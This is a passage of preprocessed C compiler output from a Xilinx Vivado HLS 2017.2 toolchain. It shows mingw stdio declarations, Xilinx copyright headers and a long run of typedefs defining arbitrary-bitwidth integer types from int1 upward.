__attribute__ ((__dllimport__)) size_t _fread_nolock(void * __restrict__ _DstBuf,size_t _ElementSize,size_t _Count,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) int _fseek_nolock(FILE *_File,long _Offset,int _Origin);
__attribute__ ((__dllimport__)) long _ftell_nolock(FILE *_File);
__extension__ __attribute__ ((__dllimport__)) int _fseeki64_nolock(FILE *_File,long long _Offset,int _Origin);
__extension__ __attribute__ ((__dllimport__)) long long _ftelli64_nolock(FILE *_File);
__attribute__ ((__dllimport__)) size_t _fwrite_nolock(const void * __restrict__ _DstBuf,size_t _Size,size_t _Count,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) int _ungetc_nolock(int _Ch,FILE *_File);
char * tempnam(const char *_Directory,const char *_FilePrefix) ;
int fcloseall(void) ;
FILE * fdopen(int _FileHandle,const char *_Format) ;
int fgetchar(void) ;
int fileno(FILE *_File) ;
int flushall(void) ;
int fputchar(int _Ch) ;
int getw(FILE *_File) ;
int putw(int _Ch,FILE *_File) ;
int rmtmp(void) ;
#pragma pack(pop)
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\sec_api/stdio_s.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#9 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\sec_api/stdio_s.h" 2 3
#509 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw_print_pop.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
/* Define __mingw_<printf> macros. */
#511 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
#64 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h" 2
#77 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h"
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot/etc/autopilot_apint.h" 1
/* autopilot_apint.h*/
/*
#- (c) Copyright 2011-2017 Xilinx, Inc. All rights reserved.
#-
#- This file contains confidential and proprietary information
#- of Xilinx, Inc. and is protected under U.S. and
#- international copyright and other intellectual property
#- laws.
#-
#- DISCLAIMER
#- This disclaimer is not a license and does not grant any
#- rights to the materials distributed herewith. Except as
#- otherwise provided in a valid license issued to you by
#- Xilinx, and to the maximum extent permitted by applicable
#- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
#- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
#- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
#- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
#- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
#- (2) Xilinx shall not be liable (whether in contract or tort,
#- including negligence, or under any other theory of
#- liability) for any loss or damage of any kind or nature
#- related to, arising under or in connection with these
#- materials, including for any direct, or any indirect,
#- special, incidental, or consequential loss or damage
#- (including loss of data, profits, goodwill, or any type of
#- loss or damage suffered as a result of any action brought
#- by a third party) even if such damage or loss was
#- reasonably foreseeable or Xilinx had been advised of the
#- possibility of the same.
#-
#- CRITICAL APPLICATIONS
#- Xilinx products are not designed or intended to be fail-
#- safe, or for use in any application requiring fail-safe
#- performance, such as life-support or safety devices or
#- systems, Class III medical devices, nuclear facilities,
#- applications related to the deployment of airbags, or any
#- other applications that could lead to death, personal
#- injury, or severe property or environmental damage
#- (individually and collectively, "Critical
#- Applications"). Customer assumes the sole risk and
#- liability of any use of Xilinx products in Critical
#- Applications, subject only to applicable laws and
#- regulations governing limitations on product liability.
#-
#- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
#- PART OF THIS FILE AT ALL TIMES.
#- ************************************************************************
*
* $Id$
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h" 1
/*-*-c++-*-*/
/* autopilot_dt.h: defines all bit-accurate data types.*/
/*
#- (c) Copyright 2011-2017 Xilinx, Inc. All rights reserved.
#-
#- This file contains confidential and proprietary information
#- of Xilinx, Inc. and is protected under U.S. and
#- international copyright and other intellectual property
#- laws.
#-
#- DISCLAIMER
#- This disclaimer is not a license and does not grant any
#- rights to the materials distributed herewith. Except as
#- otherwise provided in a valid license issued to you by
#- Xilinx, and to the maximum extent permitted by applicable
#- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
#- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
#- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
#- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
#- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
#- (2) Xilinx shall not be liable (whether in contract or tort,
#- including negligence, or under any other theory of
#- liability) for any loss or damage of any kind or nature
#- related to, arising under or in connection with these
#- materials, including for any direct, or any indirect,
#- special, incidental, or consequential loss or damage
#- (including loss of data, profits, goodwill, or any type of
#- loss or damage suffered as a result of any action brought
#- by a third party) even if such damage or loss was
#- reasonably foreseeable or Xilinx had been advised of the
#- possibility of the same.
#-
#- CRITICAL APPLICATIONS
#- Xilinx products are not designed or intended to be fail-
#- safe, or for use in any application requiring fail-safe
#- performance, such as life-support or safety devices or
#- systems, Class III medical devices, nuclear facilities,
#- applications related to the deployment of airbags, or any
#- other applications that could lead to death, personal
#- injury, or severe property or environmental damage
#- (individually and collectively, "Critical
#- Applications"). Customer assumes the sole risk and
#- liability of any use of Xilinx products in Critical
#- Applications, subject only to applicable laws and
#- regulations governing limitations on product liability.
#-
#- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
#- PART OF THIS FILE AT ALL TIMES.
#- ************************************************************************
*
* $Id$
*/
#97 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h"
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.def" 1
typedef int __attribute__ ((bitwidth(1))) int1;
typedef int __attribute__ ((bitwidth(2))) int2;
typedef int __attribute__ ((bitwidth(3))) int3;
typedef int __attribute__ ((bitwidth(4))) int4;
typedef int __attribute__ ((bitwidth(5))) int5;
typedef int __attribute__ ((bitwidth(6))) int6;
typedef int __attribute__ ((bitwidth(7))) int7;
typedef int __attribute__ ((bitwidth(8))) int8;
typedef int __attribute__ ((bitwidth(9))) int9;
typedef int __attribute__ ((bitwidth(10))) int10;
typedef int __attribute__ ((bitwidth(11))) int11;
typedef int __attribute__ ((bitwidth(12))) int12;
typedef int __attribute__ ((bitwidth(13))) int13;
typedef int __attribute__ ((bitwidth(14))) int14;
typedef int __attribute__ ((bitwidth(15))) int15;
typedef int __attribute__ ((bitwidth(16))) int16;
typedef int __attribute__ ((bitwidth(17))) int17;
typedef int __attribute__ ((bitwidth(18))) int18;
typedef int __attribute__ ((bitwidth(19))) int19;
typedef int __attribute__ ((bitwidth(20))) int20;
typedef int __attribute__ ((bitwidth(21))) int21;
typedef int __attribute__ ((bitwidth(22))) int22;
typedef int __attribute__ ((bitwidth(23))) int23;
typedef int __attribute__ ((bitwidth(24))) int24;
typedef int __attribute__ ((bitwidth(25))) int25;
typedef int __attribute__ ((bitwidth(26))) int26;
typedef int __attribute__ ((bitwidth(27))) int27;
typedef int __attribute__ ((bitwidth(28))) int28;
typedef int __attribute__ ((bitwidth(29))) int29;
typedef int __attribute__ ((bitwidth(30))) int30;
typedef int __attribute__ ((bitwidth(31))) int31;
typedef int __attribute__ ((bitwidth(32))) int32;
typedef int __attribute__ ((bitwidth(33))) int33;
typedef int __attribute__ ((bitwidth(34))) int34;
typedef int __attribute__ ((bitwidth(35))) int35;
typedef int __attribute__ ((bitwidth(36))) int36;
typedef int __attribute__ ((bitwidth(37))) int37;
typedef int __attribute__ ((bitwidth(38))) int38;
typedef int __attribute__ ((bitwidth(39))) int39;
typedef int __attribute__ ((bitwidth(40))) int40;
typedef int __attribute__ ((bitwidth(41))) int41;
typedef int __attribute__ ((bitwidth(42))) int42;
typedef int __attribute__ ((bitwidth(43))) int43;
typedef int __attribute__ ((bitwidth(44))) int44;
typedef int __attribute__ ((bitwidth(45))) int45;
typedef int __attribute__ ((bitwidth(46))) int46;
typedef int __attribute__ ((bitwidth(47))) int47;
typedef int __attribute__ ((bitwidth(48))) int48;
typedef int __attribute__ ((bitwidth(49))) int49;
typedef int __attribute__ ((bitwidth(50))) int50;
typedef int __attribute__ ((bitwidth(51))) int51;
typedef int __attribute__ ((bitwidth(52))) int52;
typedef int __attribute__ ((bitwidth(53))) int53;
typedef int __attribute__ ((bitwidth(54))) int54;
typedef int __attribute__ ((bitwidth(55))) int55;
typedef int __attribute__ ((bitwidth(56))) int56;
typedef int __attribute__ ((bitwidth(57))) int57;
typedef int __attribute__ ((bitwidth(58))) int58;
typedef int __attribute__ ((bitwidth(59))) int59;
typedef int __attribute__ ((bitwidth(60))) int60;
typedef int __attribute__ ((bitwidth(61))) int61;
typedef int __attribute__ ((bitwidth(62))) int62;
typedef int __attribute__ ((bitwidth(63))) int63;
/*#if AUTOPILOT_VERSION >= 1 */
typedef int __attribute__ ((bitwidth(65))) int65;
typedef int __attribute__ ((bitwidth(66))) int66;
typedef int __attribute__ ((bitwidth(67))) int67;
typedef int __attribute__ ((bitwidth(68))) int68;
typedef int __attribute__ ((bitwidth(69))) int69;
typedef int __attribute__ ((bitwidth(70))) int70;
typedef int __attribute__ ((bitwidth(71))) int71;
typedef int __attribute__ ((bitwidth(72))) int72;
typedef int __attribute__ ((bitwidth(73))) int73;
typedef int __attribute__ ((bitwidth(74))) int74;
typedef int __attribute__ ((bitwidth(75))) int75;
typedef int __attribute__ ((bitwidth(76))) int76;
typedef int __attribute__ ((bitwidth(77))) int77;
typedef int __attribute__ ((bitwidth(78))) int78;
typedef int __attribute__ ((bitwidth(79))) int79;
typedef int __attribute__ ((bitwidth(80))) int80;
typedef int __attribute__ ((bitwidth(81))) int81;
typedef int __attribute__ ((bitwidth(82))) int82;
typedef int __attribute__ ((bitwidth(83))) int83;
typedef int __attribute__ ((bitwidth(84))) int84;
typedef int __attribute__ ((bitwidth(85))) int85;
typedef int __attribute__ ((bitwidth(86))) int86;
typedef int __attribute__ ((bitwidth(87))) int87;
typedef int __attribute__ ((bitwidth(88))) int88;
typedef int __attribute__ ((bitwidth(89))) int89;
typedef int __attribute__ ((bitwidth(90))) int90;
typedef int __attribute__ ((bitwidth(91))) int91;
typedef int __attribute__ ((bitwidth(92))) int92;
typedef int __attribute__ ((bitwidth(93))) int93;
typedef int __attribute__ ((bitwidth(94))) int94;
typedef int __attribute__ ((bitwidth(95))) int95;
typedef int __attribute__ ((bitwidth(96))) int96;
typedef int __attribute__ ((bitwidth(97))) int97;
typedef int __attribute__ ((bitwidth(98))) int98;
typedef int __attribute__ ((bitwidth(99))) int99;
typedef int __attribute__ ((bitwidth(100))) int100;
typedef int __attribute__ ((bitwidth(101))) int101;
typedef int __attribute__ ((bitwidth(102))) int102;
typedef int __attribute__ ((bitwidth(103))) int103;
typedef int __attribute__ ((bitwidth(104))) int104;
typedef int __attribute__ ((bitwidth(105))) int105;
typedef int __attribute__ ((bitwidth(106))) int106;
typedef int __attribute__ ((bitwidth(107))) int107;
typedef int __attribute__ ((bitwidth(108))) int108;
typedef int __attribute__ ((bitwidth(109))) int109;
typedef int __attribute__ ((bitwidth(110))) int110;
typedef int __attribute__ ((bitwidth(111))) int111;
typedef int __attribute__ ((bitwidth(112))) int112;
typedef int __attribute__ ((bitwidth(113))) int113;
typedef int __attribute__ ((bitwidth(114))) int114;
typedef int __attribute__ ((bitwidth(115))) int115;
typedef int __attribute__ ((bitwidth(116))) int116;
typedef int __attribute__ ((bitwidth(117))) int117;
typedef int __attribute__ ((bitwidth(118))) int118;
typedef int __attribute__ ((bitwidth(119))) int119;
typedef int __attribute__ ((bitwidth(120))) int120;
typedef int __attribute__ ((bitwidth(121))) int121;
typedef int __attribute__ ((bitwidth(122))) int122;
typedef int __attribute__ ((bitwidth(123))) int123;
typedef int __attribute__ ((bitwidth(124))) int124;
typedef int __attribute__ ((bitwidth(125))) int125;
typedef int __attribute__ ((bitwidth(126))) int126;
typedef int __attribute__ ((bitwidth(127))) int127;
typedef int __attribute__ ((bitwidth(128))) int128;
/*#endif*/
/*#ifdef EXTENDED_GCC*/
typedef int __attribute__ ((bitwidth(129))) int129;
typedef int __attribute__ ((bitwidth(130))) int130;
typedef int __attribute__ ((bitwidth(131))) int131;
typedef int __attribute__ ((bitwidth(132))) int132;
typedef int __attribute__ ((bitwidth(133))) int133;
typedef int __attribute__ ((bitwidth(134))) int134;
typedef int __attribute__ ((bitwidth(135))) int135;
typedef int __attribute__ ((bitwidth(136))) int136;
typedef int __attribute__ ((bitwidth(137))) int137;
typedef int __attribute__ ((bitwidth(138))) int138;
typedef int __attribute__ ((bitwidth(139))) int139;
typedef int __attribute__ ((bitwidth(140))) int140;
typedef int __attribute__ ((bitwidth(141))) int141;
typedef int __attribute__ ((bitwidth(142))) int142;
typedef int __attribute__ ((bitwidth(143))) int143;
typedef int __attribute__ ((bitwidth(144))) int144;
typedef int __attribute__ ((bitwidth(145))) int145;
typedef int __attribute__ ((bitwidth(146))) int146;
typedef int __attribute__ ((bitwidth(147))) int147;
typedef int __attribute__ ((bitwidth(148))) int148;
typedef int __attribute__ ((bitwidth(149))) int149;
typedef int __attribute__ ((bitwidth(150))) int150;
typedef int __attribute__ ((bitwidth(151))) int151;
typedef int __attribute__ ((bitwidth(152))) int152;
typedef int __attribute__ ((bitwidth(153))) int153;
typedef int __attribute__ ((bitwidth(154))) int154;
typedef int __attribute__ ((bitwidth(155))) int155;
typedef int __attribute__ ((bitwidth(156))) int156;
typedef int __attribute__ ((bitwidth(157))) int157;
typedef int __attribute__ ((bitwidth(158))) int158;
typedef int __attribute__ ((bitwidth(159))) int159;
typedef int __attribute__ ((bitwidth(160))) int160;
typedef int __attribute__ ((bitwidth(161))) int161;
typedef int __attribute__ ((bitwidth(162))) int162;
typedef int __attribute__ ((bitwidth(163))) int163;
typedef int __attribute__ ((bitwidth(164))) int164;
typedef int __attribute__ ((bitwidth(165))) int165;
typedef int __attribute__ ((bitwidth(166))) int166;
typedef int __attribute__ ((bitwidth(167))) int167;
typedef int __attribute__ ((bitwidth(168))) int168;
typedef int __attribute__ ((bitwidth(169))) int169;
typedef int __attribute__ ((bitwidth(170))) int170;
typedef int __attribute__ ((bitwidth(171))) int171;
typedef int __attribute__ ((bitwidth(172))) int172;
typedef int __attribute__ ((bitwidth(173))) int173;
typedef int __attribute__ ((bitwidth(174))) int174;
typedef int __attribute__ ((bitwidth(175))) int175;
typedef int __attribute__ ((bitwidth(176))) int176;
typedef int __attribute__ ((bitwidth(177))) int177;
typedef int __attribute__ ((bitwidth(178))) int178;
typedef int __attribute__ ((bitwidth(179))) int179;
typedef int __attribute__ ((bitwidth(180))) int180;
typedef int __attribute__ ((bitwidth(181))) int181;
typedef int __attribute__ ((bitwidth(182))) int182;
typedef int __attribute__ ((bitwidth(183))) int183;
typedef int __attribute__ ((bitwidth(184))) int184;
typedef int __attribute__ ((bitwidth(185))) int185;
typedef int __attribute__ ((bitwidth(186))) int186;
typedef int __attribute__ ((bitwidth(187))) int187;
typedef int __attribute__ ((bitwidth(188))) int188;
typedef int __attribute__ ((bitwidth(189))) int189;
typedef int __attribute__ ((bitwidth(190))) int190;
typedef int __attribute__ ((bitwidth(191))) int191;
typedef int __attribute__ ((bitwidth(192))) int192;
typedef int __attribute__ ((bitwidth(193))) int193;
typedef int __attribute__ ((bitwidth(194))) int194;
typedef int __attribute__ ((bitwidth(195))) int195;
typedef int __attribute__ ((bitwidth(196))) int196;
typedef int __attribute__ ((bitwidth(197))) int197;
typedef int __attribute__ ((bitwidth(198))) int198;
typedef int __attribute__ ((bitwidth(199))) int199;
typedef int __attribute__ ((bitwidth(200))) int200;
typedef int __attribute__ ((bitwidth(201))) int201;
typedef int __attribute__ ((bitwidth(202))) int202;
typedef int __attribute__ ((bitwidth(203))) int203;
typedef int __attribute__ ((bitwidth(204))) int204;
typedef int __attribute__ ((bitwidth(205))) int205;
typedef int __attribute__ ((bitwidth(206))) int206;
typedef int __attribute__ ((bitwidth(207))) int207;
typedef int __attribute__ ((bitwidth(208))) int208;
typedef int __attribute__ ((bitwidth(209))) int209;
typedef int __attribute__ ((bitwidth(210))) int210;
typedef int __attribute__ ((bitwidth(211))) int211;
typedef int __attribute__ ((bitwidth(212))) int212;
typedef int __attribute__ ((bitwidth(213))) int213;
typedef int __attribute__ ((bitwidth(214))) int214;
typedef int __attribute__ ((bitwidth(215))) int215;
typedef int __attribute__ ((bitwidth(216))) int216;
typedef int __attribute__ ((bitwidth(217))) int217;
typedef int __attribute__ ((bitwidth(218))) int218;
typedef int __attribute__ ((bitwidth(219))) int219;
typedef int __attribute__ ((bitwidth(220))) int220;
typedef int __attribute__ ((bitwidth(221))) int221;
typedef int __attribute__ ((bitwidth(222))) int222;
typedef int __attribute__ ((bitwidth(223))) int223;
typedef int __attribute__ ((bitwidth(224))) int224;
typedef int __attribute__ ((bitwidth(225))) int225;
typedef int __attribute__ ((bitwidth(226))) int226;
typedef int __attribute__ ((bitwidth(227))) int227;
typedef int __attribute__ ((bitwidth(228))) int228;
typedef int __attribute__ ((bitwidth(229))) int229;
typedef int __attribute__ ((bitwidth(230))) int230;
typedef int __attribute__ ((bitwidth(231))) int231;
typedef int __attribute__ ((bitwidth(232))) int232;
typedef int __attribute__ ((bitwidth(233))) int233;
typedef int __attribute__ ((bitwidth(234))) int234;
typedef int __attribute__ ((bitwidth(235))) int235;
typedef int __attribute__ ((bitwidth(236))) int236;
typedef int __attribute__ ((bitwidth(237))) int237;
typedef int __attribute__ ((bitwidth(238))) int238;
typedef int __attribute__ ((bitwidth(239))) int239;
typedef int __attribute__ ((bitwidth(240))) int240;
typedef int __attribute__ ((bitwidth(241))) int241;
typedef int __attribute__ ((bitwidth(242))) int242;
typedef int __attribute__ ((bitwidth(243))) int243;
typedef int __attribute__ ((bitwidth(244))) int244;
typedef int __attribute__ ((bitwidth(245))) int245;
typedef int __attribute__ ((bitwidth(246))) int246;
typedef int __attribute__ ((bitwidth(247))) int247;
typedef int __attribute__ ((bitwidth(248))) int248;
typedef int __attribute__ ((bitwidth(249))) int249;
typedef int __attribute__ ((bitwidth(250))) int250;
typedef int __attribute__ ((bitwidth(251))) int251;
typedef int __attribute__ ((bitwidth(252))) int252;
typedef int __attribute__ ((bitwidth(253))) int253;
typedef int __attribute__ ((bitwidth(254))) int254;
typedef int __attribute__ ((bitwidth(255))) int255;
typedef int __attribute__ ((bitwidth(256))) int256;
typedef int __attribute__ ((bitwidth(257))) int257;
typedef int __attribute__ ((bitwidth(258))) int258;
typedef int __attribute__ ((bitwidth(259))) int259;
typedef int __attribute__ ((bitwidth(260))) int260;
typedef int __attribute__ ((bitwidth(261))) int261;
typedef int __attribute__ ((bitwidth(262))) int262;
typedef int __attribute__ ((bitwidth(263))) int263;
typedef int __attribute__ ((bitwidth(264))) int264;
typedef int __attribute__ ((bitwidth(265))) int265;
typedef int __attribute__ ((bitwidth(266))) int266;
typedef int __attribute__ ((bitwidth(267))) int267;
typedef int __attribute__ ((bitwidth(268))) int268;
typedef int __attribute__ ((bitwidth(269))) int269;
typedef int __attribute__ ((bitwidth(270))) int270;
typedef int __attribute__ ((bitwidth(271))) int271;
typedef int __attribute__ ((bitwidth(272))) int272;
typedef int __attribute__ ((bitwidth(273))) int273;
typedef int __attribute__ ((bitwidth(274))) int274;
typedef int __attribute__ ((bitwidth(275))) int275;
typedef int __attribute__ ((bitwidth(276))) int276;
typedef int __attribute__ ((bitwidth(277))) int277;
typedef int __attribute__ ((bitwidth(278))) int278;
typedef int __attribute__ ((bitwidth(279))) int279;
typedef int __attribute__ ((bitwidth(280))) int280;
typedef int __attribute__ ((bitwidth(281))) int281;
typedef int __attribute__ ((bitwidth(282))) int282;
typedef int __attribute__ ((bitwidth(283))) int283;
typedef int __attribute__ ((bitwidth(284))) int284;
typedef int __attribute__ ((bitwidth(285))) int285;
typedef int __attribute__ ((bitwidth(286))) int286;
typedef int __attribute__ ((bitwidth(287))) int287;
typedef int __attribute__ ((bitwidth(288))) int288;
typedef int __attribute__ ((bitwidth(289))) int289;
typedef int __attribute__ ((bitwidth(290))) int290;
typedef int __attribute__ ((bitwidth(291))) int291;
typedef int __attribute__ ((bitwidth(292))) int292;
typedef int __attribute__ ((bitwidth(293))) int293;
typedef int __attribute__ ((bitwidth(294))) int294;
typedef int __attribute__ ((bitwidth(295))) int295;
typedef int __attribute__ ((bitwidth(296))) int296;
typedef int __attribute__ ((bitwidth(297))) int297;
typedef int __attribute__ ((bitwidth(298))) int298;
typedef int __attribute__ ((bitwidth(299))) int299;
typedef int __attribute__ ((bitwidth(300))) int300;
typedef int __attribute__ ((bitwidth(301))) int301;
typedef int __attribute__ ((bitwidth(302))) int302;
typedef int __attribute__ ((bitwidth(303))) int303;
typedef int __attribute__ ((bitwidth(304))) int304;
typedef int __attribute__ ((bitwidth(305))) int305;
typedef int __attribute__ ((bitwidth(306))) int306;
typedef int __attribute__ ((bitwidth(307))) int307;
typedef int __attribute__ ((bitwidth(308))) int308;
typedef int __attribute__ ((bitwidth(309))) int309;
typedef int __attribute__ ((bitwidth(310))) int310;
typedef int __attribute__ ((bitwidth(311))) int311;
typedef int __attribute__ ((bitwidth(312))) int312;
typedef int __attribute__ ((bitwidth(313))) int313;
typedef int __attribute__ ((bitwidth(314))) int314;
typedef int __attribute__ ((bitwidth(315))) int315;
typedef int __attribute__ ((bitwidth(316))) int316;
typedef int __attribute__ ((bitwidth(317))) int317;
typedef int __attribute__ ((bitwidth(318))) int318;
typedef int __attribute__ ((bitwidth(319))) int319;
typedef int __attribute__ ((bitwidth(320))) int320;
typedef int __attribute__ ((bitwidth(321))) int321;
typedef int __attribute__ ((bitwidth(322))) int322;
typedef int __attribute__ ((bitwidth(323))) int323;
typedef int __attribute__ ((bitwidth(324))) int324;
typedef int __attribute__ ((bitwidth(325))) int325;
typedef int __attribute__ ((bitwidth(326))) int326;
typedef int __attribute__ ((bitwidth(327))) int327;
typedef int __attribute__ ((bitwidth(328))) int328;
typedef int __attribute__ ((bitwidth(329))) int329;
typedef int __attribute__ ((bitwidth(330))) int330;
typedef int __attribute__ ((bitwidth(331))) int331;
typedef int __attribute__ ((bitwidth(332))) int332;
typedef int __attribute__ ((bitwidth(333))) int333;
typedef int __attribute__ ((bitwidth(334))) int334;
typedef int __attribute__ ((bitwidth(335))) int335;
typedef int __attribute__ ((bitwidth(336))) int336;
typedef int __attribute__ ((bitwidth(337))) int337;
typedef int __attribute__ ((bitwidth(338))) int338;
typedef int __attribute__ ((bitwidth(339))) int339;
typedef int __attribute__ ((bitwidth(340))) int340;
typedef int __attribute__ ((bitwidth(341))) int341;
typedef int __attribute__ ((bitwidth(342))) int342;
typedef int __attribute__ ((bitwidth(343))) int343;
typedef int __attribute__ ((bitwidth(344))) int344;
typedef int __attribute__ ((bitwidth(345))) int345;
typedef int __attribute__ ((bitwidth(346))) int346;
typedef int __attribute__ ((bitwidth(347))) int347;
typedef int __attribute__ ((bitwidth(348))) int348;
typedef int __attribute__ ((bitwidth(349))) int349;
typedef int __attribute__ ((bitwidth(350))) int350;
typedef int __attribute__ ((bitwidth(351))) int351;
typedef int __attribute__ ((bitwidth(352))) int352;
typedef int __attribute__ ((bitwidth(353))) int353;
typedef int __attribute__ ((bitwidth(354))) int354;
typedef int __attribute__ ((bitwidth(355))) int355;
typedef int __attribute__ ((bitwidth(356))) int356;
typedef int __attribute__ ((bitwidth(357))) int357;
typedef int __attribute__ ((bitwidth(358))) int358;
typedef int __attribute__ ((bitwidth(359))) int359;
typedef int __attribute__ ((bitwidth(360))) int360;
typedef int __attribute__ ((bitwidth(361))) int361;
typedef int __attribute__ ((bitwidth(362))) int362;
typedef int __attribute__ ((bitwidth(363))) int363;
typedef int __attribute__ ((bitwidth(364))) int364;
typedef int __attribute__ ((bitwidth(365))) int365;
typedef int __attribute__ ((bitwidth(366))) int366;
typedef int __attribute__ ((bitwidth(367))) int367;
typedef int __attribute__ ((bitwidth(368))) int368;
typedef int __attribute__ ((bitwidth(369))) int369;
typedef int __attribute__ ((bitwidth(370))) int370;
typedef int __attribute__ ((bitwidth(371))) int371;
typedef int __attribute__ ((bitwidth(372))) int372;
typedef int __attribute__ ((bitwidth(373))) int373;
typedef int __attribute__ ((bitwidth(374))) int374;
typedef int __attribute__ ((bitwidth(375))) int375;
typedef int __attribute__ ((bitwidth(376))) int376;
typedef int __attribute__ ((bitwidth(377))) int377;
typedef int __attribute__ ((bitwidth(378))) int378;
typedef int __attribute__ ((bitwidth(379))) int379;
typedef int __attribute__ ((bitwidth(380))) int380;
typedef int __attribute__ ((bitwidth(381))) int381;
typedef int __attribute__ ((bitwidth(382))) int382;
typedef int __attribute__ ((bitwidth(383))) int383;
typedef int __attribute__ ((bitwidth(384))) int384;
typedef int __attribute__ ((bitwidth(385))) int385;
typedef int __attribute__ ((bitwidth(386))) int386;
typedef int __attribute__ ((bitwidth(387))) int387;
typedef int __attribute__ ((bitwidth(388))) int388;
typedef int __attribute__ ((bitwidth(389))) int389;
typedef int __attribute__ ((bitwidth(390))) int390;
typedef int __attribute__ ((bitwidth(391))) int391;
typedef int __attribute__ ((bitwidth(392))) int392;
typedef int __attribute__ ((bitwidth(393))) int393;
typedef int __attribute__ ((bitwidth(394))) int394;
typedef int __attribute__ ((bitwidth(395))) int395;
typedef int __attribute__ ((bitwidth(396))) int396;
typedef int __attribute__ ((bitwidth(397))) int397;
typedef int __attribute__ ((bitwidth(398))) int398;
typedef int __attribute__ ((bitwidth(399))) int399;
typedef int __attribute__ ((bitwidth(400))) int400;
typedef int __attribute__ ((bitwidth(401))) int401;
typedef int __attribute__ ((bitwidth(402))) int402;
typedef int __attribute__ ((bitwidth(403))) int403;
typedef int __attribute__ ((bitwidth(404))) int404;
typedef int __attribute__ ((bitwidth(405))) int405;
typedef int __attribute__ ((bitwidth(406))) int406;
typedef int __attribute__ ((bitwidth(407))) int407;
typedef int __attribute__ ((bitwidth(408))) int408;
typedef int __attribute__ ((bitwidth(409))) int409;
typedef int __attribute__ ((bitwidth(410))) int410;
typedef int __attribute__ ((bitwidth(411))) int411;
typedef int __attribute__ ((bitwidth(412))) int412;
typedef int __attribute__ ((bitwidth(413))) int413;
typedef int __attribute__ ((bitwidth(414))) int414;
typedef int __attribute__ ((bitwidth(415))) int415;
typedef int __attribute__ ((bitwidth(416))) int416;
typedef int __attribute__ ((bitwidth(417))) int417;
typedef int __attribute__ ((bitwidth(418))) int418;
typedef int __attribute__ ((bitwidth(419))) int419;
typedef int __attribute__ ((bitwidth(420))) int420;
typedef int __attribute__ ((bitwidth(421))) int421;
typedef int __attribute__ ((bitwidth(422))) int422;
typedef int __attribute__ ((bitwidth(423))) int423;
typedef int __attribute__ ((bitwidth(424))) int424;
typedef int __attribute__ ((bitwidth(425))) int425;
typedef int __attribute__ ((bitwidth(426))) int426;
typedef int __attribute__ ((bitwidth(427))) int427;
typedef int __attribute__ ((bitwidth(428))) int428;
typedef int __attribute__ ((bitwidth(429))) int429;
typedef int __attribute__ ((bitwidth(430))) int430;
typedef int __attribute__ ((bitwidth(431))) int431;
typedef int __attribute__ ((bitwidth(432))) int432;
typedef int __attribute__ ((bitwidth(433))) int433;
typedef int __attribute__ ((bitwidth(434))) int434;
typedef int __attribute__ ((bitwidth(435))) int435;
typedef int __attribute__ ((bitwidth(436))) int436;
typedef int __attribute__ ((bitwidth(437))) int437;
typedef int __attribute__ ((bitwidth(438))) int438;
typedef int __attribute__ ((bitwidth(439))) int439;
typedef int __attribute__ ((bitwidth(440))) int440;
typedef int __attribute__ ((bitwidth(441))) int441;
typedef int __attribute__ ((bitwidth(442))) int442;
typedef int __attribute__ ((bitwidth(443))) int443;
typedef int __attribute__ ((bitwidth(444))) int444;
typedef int __attribute__ ((bitwidth(445))) int445;
typedef int __attribute__ ((bitwidth(446))) int446;
typedef int __attribute__ ((bitwidth(447))) int447;
typedef int __attribute__ ((bitwidth(448))) int448;
typedef int __attribute__ ((bitwidth(449))) int449;
typedef int __attribute__ ((bitwidth(450))) int450;
typedef int __attribute__ ((bitwidth(451))) int451;
typedef int __attribute__ ((bitwidth(452))) int452;
typedef int __attribute__ ((bitwidth(453))) int453;
typedef int __attribute__ ((bitwidth(454))) int454;
typedef int __attribute__ ((bitwidth(455))) int455;
typedef int __attribute__ ((bitwidth(456))) int456;
typedef int __attribute__ ((bitwidth(457))) int457;
typedef int __attribute__ ((bitwidth(458))) int458;
